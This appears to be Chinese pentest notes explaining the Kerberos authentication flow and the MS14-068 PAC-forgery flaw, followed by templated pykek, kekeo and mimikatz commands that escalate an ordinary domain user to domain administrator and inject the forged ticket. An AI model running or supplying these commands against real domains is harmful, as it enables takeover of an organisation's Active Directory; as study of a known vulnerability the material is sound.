域内 MS14-068 的利用

Kerberos 认证流程以及域内 MS14-068 的利用

KDC(Key Distribution Center) 包含 AS(Authentication Server) 和 TGS(Ticket Granting Server).

一次完整的 Kerberos 请求需要 Client Server KDC 的共同参与, 故称为 Kerberos (三只狗头).

Client 向 AS 发送用户名, 以用户 Hash 加密的时间戳及 Client 信息.

AS 检测用户名是否有效, 之后生成一串随机字符作为 session-key, 并发送以用户 Hash 加密的 session-key, 以 krbtgt Hash 加密的 session-key 和时间戳作为 TGT(Ticket Granting Ticket).

Client 通过用户 Hash 解密获得 session-key, 再将 TGT 与以 session-key 加密的时间戳发送给 TGS.

TGS 通过 krbtgt Hash 解密获得 session-key 和时间戳并检测有效性, 然后发送以 Server Hash 加密的 session-key-1 作为 TGS Ticket(Service Ticket) 和以 session-key 加密的 session-key-1.

Client 通过 session-key 解密获得 session-key-1, 并向 Server 发送 TGS Ticket 和以 session-key-1 加密的时间戳.

Server 通过 Server Hash 解密 TGS Ticket 获得 session-key-1, 之后再次解密得到时间戳, 最后验证有效性.

ms14-068 可将域内普通用户提升至域管理员权限. 其原理为在 Kerberos 认证流程中 Client 可拒绝向 AS 请求 PAC 以构造一份伪造的 PAC 欺骗 TGT.

通过 pykek 利用.

1
pykek -u <userName>@<domainName> -s <userSid> -d <domainControllerAddr> [-p <clearPassword>|--rc4 <ntlmHash>]
1
mimikatz "kerberos::ptc ticket.ccache" "exit"

通过 kekeo 利用.

1
ms14-068 /user:<userName> /domain:<domainName> /dc:<domainControllerAddr> /sid:<userSid> /password:<clearPassword> [/ptt]
1
mimikatz "kerberos::ptt ticket.kirbi" "exit"

利用时无须本地管理员权限. 域内用户也能通过以上两种方式 ptt.

注意如果在 windows 2003 中是无法通过 kerberos::pttkerberos::ptc 来导入凭据的.